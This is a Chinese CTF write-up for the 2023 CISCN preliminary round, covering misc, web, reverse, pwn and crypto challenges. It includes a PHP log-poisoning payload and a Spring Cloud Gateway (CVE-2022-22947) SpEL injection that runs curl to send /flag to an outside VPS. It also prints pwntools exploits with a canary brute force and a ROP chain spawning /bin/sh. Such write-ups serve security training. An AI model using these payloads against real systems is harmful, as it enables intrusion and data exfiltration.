2023CISCN初赛

news/2024/11/16 20:08:11/

两天时间题量还挺大的，简单记录

文章目录

    • misc
      • 签到卡
      • pyshell
      • 国粹
      • 被加密的生产流量
      • 网络安全人才实战能力评价
    • web
      • unzip
      • dumpit
      • BackendService
    • reverse
      • babyRE
    • pwn
      • funcanary
      • 烧烤摊儿
    • crypto
      • 基于国密SM2算法的密文分发
      • 可信度量
      • Sign_in_passwd

misc

签到卡

就是做了个pythonshell的接口，直接打印即可

pyshell

起初想的jail逃逸，但逃不了一点，测试发现限制了输入长度，使用_拼接进行打印

image-20230528163448551

国粹

a.png为横坐标，k.png为纵坐标，题目.png为对应图片的位置信息

import matplotlib.pyplot as plt
# 坐标数据
x = [1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15,
15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18,
18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20,
22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, 23,
23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25,
25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29,
29, 31, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 34, 34,
35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37,
37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 39, 39, 39]
y = [4, 5, 10, 30, 3, 4, 5, 6, 10, 29, 30, 3, 4, 10, 16, 17, 22, 23, 24, 25,
29, 30, 2, 3, 4, 5, 10, 15, 16, 18, 21, 22, 24, 25, 29, 30, 3, 4, 10, 15, 17, 18,
19, 21, 22, 25, 28, 29, 3, 4, 10, 15, 16, 18, 19, 21, 22, 25, 29, 3, 4, 10, 11, 12,
13, 15, 18, 19, 22, 23, 24, 25, 29, 30, 3, 4, 11, 12, 15, 16, 17, 18, 19, 20, 25,
29, 30, 21, 22, 24, 25, 30, 31, 23, 24, 22, 23, 24, 25, 2, 3, 4, 5, 9, 10, 11, 12,
16, 17, 18, 19, 24, 25, 2, 5, 6, 9, 12, 19, 23, 24, 5, 9, 12, 18, 19, 22, 23, 4, 5,
9, 12, 17, 18, 23, 24, 3, 4, 9, 12, 16, 17, 24, 25, 3, 9, 12, 16, 25, 3, 4, 5, 6, 9,
10, 11, 12, 16, 17, 18, 19, 21, 22, 23, 24, 25, 10, 11, 3, 4, 5, 6, 10, 11, 12, 17,
18, 19, 24, 25, 3, 6, 7, 9, 10, 16, 17, 19, 20, 22, 23, 24, 25, 3, 6, 7, 9, 10, 16,
19, 20, 24, 25, 3, 6, 7, 10, 11, 12, 16, 19, 20, 24, 25, 3, 6, 7, 12, 13, 16, 19,
20, 24, 25, 3, 6, 7, 9, 12, 13, 16, 19, 20, 24, 25, 3, 4, 6, 9, 10, 11, 12, 16, 17,
19, 20, 24, 25, 4, 5, 17, 18, 19, 10, 11, 12, 13, 25, 31, 4, 5, 6, 10, 11, 12, 13,
17, 18, 19, 23, 24, 25, 26, 32, 3, 4, 6, 7, 12, 16, 17, 23, 24, 26, 32, 6, 7, 11,
16, 17, 23, 24, 26, 32, 6, 11, 12, 17, 18, 19, 23, 24, 25, 26, 33, 5, 12, 13, 19,
20, 26, 32, 4, 5, 13, 16, 19, 20, 25, 26, 32, 4, 5, 6, 7, 9, 10, 11, 12, 13, 16, 17,
18, 19, 24, 25, 31, 32, 23, 24, 31]
# 绘制散点图
plt.scatter(x, y)
# 添加标签和标题
plt.xlabel('a')
plt.ylabel('k')
plt.title('cnmd')
# 显示图形
plt.show()

被加密的生产流量

追tcp流，解箭头所指的base32

image-20230528163612915

网络安全人才实战能力评价

送分，做问卷即可

web

unzip

网上有相关文章，照着基本可以打通

参考：https://blog.csdn.net/justruofeng/article/details/122108924

image-20230528163837045

先传feng1再传feng2，即可getshell在根目录下读取flag

dumpit

通过将错误输出到log/11.php中，正好将<?=phpinfo()?>进行解析得到flag

?db=ctf&table_2_dump=\%3C\?\=phpinfo\(\)?\%3E%202%3E%20log/11.php

image-20230528164132946

后访问即可

/log/11.php

image-20230528164151491

BackendService

CVE-2022-22947，只不过改了些配置

先添加用户

166c3999576d290dbfb754757cd70c5

POST /nacos/v1/auth/users HTTP/1.1
Host: 39.107.137.13:30869
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 27username=demo&password=demo

根据源码的配置文件进行gateway的配置

spring:cloud:nacos:discovery:server-addr: 127.0.0.1:8888config:name: backcfgfile-extension: jsongroup: DEFAULT_GROUPserver-addr: 127.0.0.1:8888

07592cbe739d6948d913ef95c4e1a14

配置文件内容

{"spring": {"cloud": {"gateway": {"routes": [{"id": "exam","order": 0,"uri": "lb://backendservice","predicates": ["Path=/echo/**"],"filters": [{"name": "AddResponseHeader","args": {"name": "result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','xxx.xxx.xxx.xxx:9999','-F','echo=@/flag'}).getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}"}}]}]}}}
}

发布，然后访问/echo/123

在vps上收到flag

09a17d1430b6e112de228e4efc2ce59

reverse

babyRE

xml文件是一个snap可视化编程的配置文件

https://snap.berkeley.edu/snap/snap.html

导入xml文件后，可以看到以下信息

e573e50da1401fd4cb7aa55b1c45630

他的判断逻辑就是通过将输入的字符串按顺序前后两位进行异或后，放进test列表，然后和secret列表进行比对，如果正确，他就会输出well done

所以这里只要对secret的列表进行反向异或就行

这里在1插进值指的是在顺序1上插入，而不是使用0作为列表的开头

然后写脚本进行反向异或

<?php
$secret=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30];
$list=[];
//print_r(count($secret));
for($i=0;$i<=42;$i++){$secret[$i]=$secret[$i]^$secret[$i-1];
//    print_r($list);print_r($secret);}
//var_dump($list);
//print_r($list);
for($i=0;$i<count($secret);$i++){if($secret[$i]>32) {echo chr($secret[$i]);}
}

得到flag

bbd42ff38c8ed1165f3792f1d9485a4

pwn

funcanary

# coding=utf-8
from pwn import *
context.log_level='debug'
context(os='linux',arch='amd64',terminal=['alacritty','-e','sh','-c'])io=remote('',)elf=ELF('./funcanary')s=lambda x:io.send(x)
sa=lambda x,y:io.sendafter(x,y)
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
r=lambda x:io.recv(x)
ru=lambda x:io.recvuntil(x)
debug=lambda x:gdb.attach(io,gdbscript=x)canary=b'\0'ru('welcome')
for j in range(7):for i in range(0x100):s(b'a'*0x68+canary+chr(i))recv=ru('welcome')if b'fun' in recv:canary+=chr(i)breakfor i in range(0x10):s(b'a'*0x68+canary+p64(0xdeadbeef)+b'\x28'+chr(i*0x10+2))recv=ru('welcome')if b'flag{' in recv:breakio.interactive()

烧烤摊儿

# coding=utf-8
from pwn import *
context.log_level='debug'
context(os='linux',arch='amd64',terminal=['alacritty','-e','sh','-c'])io=remote('39.105.26.155',40225)elf=ELF('./shaokao')libc_file=''s=lambda x:io.send(x)
sa=lambda x,y:io.sendafter(x,y)
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
r=lambda x:io.recv(x)
ru=lambda x:io.recvuntil(x)
debug=lambda x:gdb.attach(io,gdbscript=x)choose=lambda x:sla('> ',str(x))def pijiu(ty,size):choose(1)sla('3. 勇闯天涯',str(ty))sla('来几瓶？',str(size))def kaochuan(ty,size):choose(2)sla('3. 鸡肉串',str(ty))sla('来几串？',str(size))def yue():choose(3)def vip():choose(4)def gaime(name):choose(5)sla('烧烤摊儿已归你所有，请赐名：',name)from struct import packp = b''p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e0) # @ .data
p += pack(b'<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack(b'<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack(b'<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack(b'<Q', 0x000000000040264f) # pop rdi ; ret
p += pack(b'<Q', 0x00000000004e60e0) # @ .data
p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x4141414141414141) # padding
p += pack(b'<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000402404) # syscallpijiu(1,-200000)
vip()
payload=b'a'*0x20+p64(0xdeadbeef)+p
gaime(payload)io.interactive()

crypto

基于国密SM2算法的密文分发

照着文档复现就完事了

image-20230528164557810

可信度量

非预期了，直接读

find / –type f |xargs grep -ra "flag{" grep

image-20230528164659924

Sign_in_passwd

就是换表base64，很明显可以看出表是套了一层url编码，解完码直接嗦

image-20230528164832571


http://www.ppmy.cn/news/201680.html

相关文章

力扣高频SQL50题(基础版)——第五天

力扣高频SQL50题(基础版)——第五天

力扣高频SQL50题(基础版)——第五天 1 至少有5名直接下属的经理 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 #①找到经理的所有编号②让其与员工表内连接,然后分组筛选即可 SELECT e1.name FROM (SELECT id,nameFROM EmployeeWHERE managerId IS…
阅读更多...
未来手机是否能替代计算机,科技来电：智能手机未来是否能取代电脑

未来手机是否能替代计算机,科技来电：智能手机未来是否能取代电脑

原标题&#xff1a;科技来电&#xff1a;智能手机未来是否能取代电脑 <681期>智电网讯&#xff1a;马上就要过年了&#xff0c;祝福经常看“科技来电”朋友们新的一年好运常相伴&#xff0c;财神跟着您&#xff0c;健康属于您&#xff0c;钞票粘着您&#xff0c;喜事围绕…
阅读更多...
手机常用元器件介绍

手机常用元器件介绍

手机电路中&#xff0c;较多地采用了一些新的和较为特殊的元器件&#xff0c;作为一名手机维修人员&#xff0c;不了解这些元件的作用和 原理&#xff0c;是无法进行读图和维修工作的&#xff0c;为此&#xff0c;本章对手机电路中的常用元器件进行详尽分类和系统分析&#xf…
阅读更多...
android手机装windows,安卓手机上运行WindowsXP系统图文教程

android手机装windows,安卓手机上运行WindowsXP系统图文教程

之前分享过很多关于安卓手机连接电脑远程桌面的小技巧&#xff0c;是不是玩腻了很没劲&#xff0c;没关系&#xff01;下面咱就来点货真价实的&#xff0c;简单几步让你的安卓智能手机直接运行Windows XP系统&#xff0c;感觉一下子“高大上”了有木有&#xff1f;你跟小伙伴儿…
阅读更多...
手机射频基础入门

手机射频基础入门

文章目录 一、综测仪二、三角锥三、阻抗匹配和史密斯圆图1. 阻抗相关参数2. 为什么进行阻抗匹配3. 何为阻抗匹配a. 行波匹配b. 共轭匹配 4. 匹配方式--LC分离元件5. 匹配前做好以下仪器和工具准备6. 调试目的 总结 一、综测仪 综测仪是模拟基站&#xff0c;具备信号发生器&…
阅读更多...
十大2000元左右的热门Android手机盘点

十大2000元左右的热门Android手机盘点

虽然近期苹果因发布iPhone 4S及乔帮主逝世事件被炒得火热&#xff0c;但是市场上面Android手机占有份额还是远远超过iPhone。iOS系统相对封闭&#xff0c;Android系统相对开放,且Android系统有 众多厂商支持&#xff0c;产品价格较苹果产品要低&#xff0c;市场占有率当然高于苹…
阅读更多...
高通骁龙845的android手机有哪些,骁龙845手机有哪些？高通骁龙845手机推荐

高通骁龙845的android手机有哪些,骁龙845手机有哪些？高通骁龙845手机推荐

骁龙845手机有哪些&#xff1f;相信有了解的朋友都清楚&#xff0c;不少今年上半年推出的旗舰机型都采用了高通骁龙845处理器&#xff0c;其甚至一度成为高端旗舰中的标准配置&#xff01;那么&#xff0c;骁龙845手机有哪些&#xff1f;骁龙845手机哪个值得买呢&#xff1f;针…
阅读更多...
屏幕小于6英寸的手机_2019有哪些小屏手机 8款6英寸以下小屏全面屏手机推荐

屏幕小于6英寸的手机_2019有哪些小屏手机 8款6英寸以下小屏全面屏手机推荐

6英寸以下小屏手机推荐：荣耀10 GT版 参考价格：1999元起 屏幕尺寸：5.84英寸 荣耀10 GT版是去年7月份，荣耀发布的一款旗舰机，属于稍早发布的荣耀10升级版，主要加入了AIS手持夜景和GPU Turbo支持。外观方面，荣耀10采用玻璃机身设计，正面为刘海全面屏+正面指纹设计，背面则…
阅读更多...
最新文章

Copyright @ 2022~2023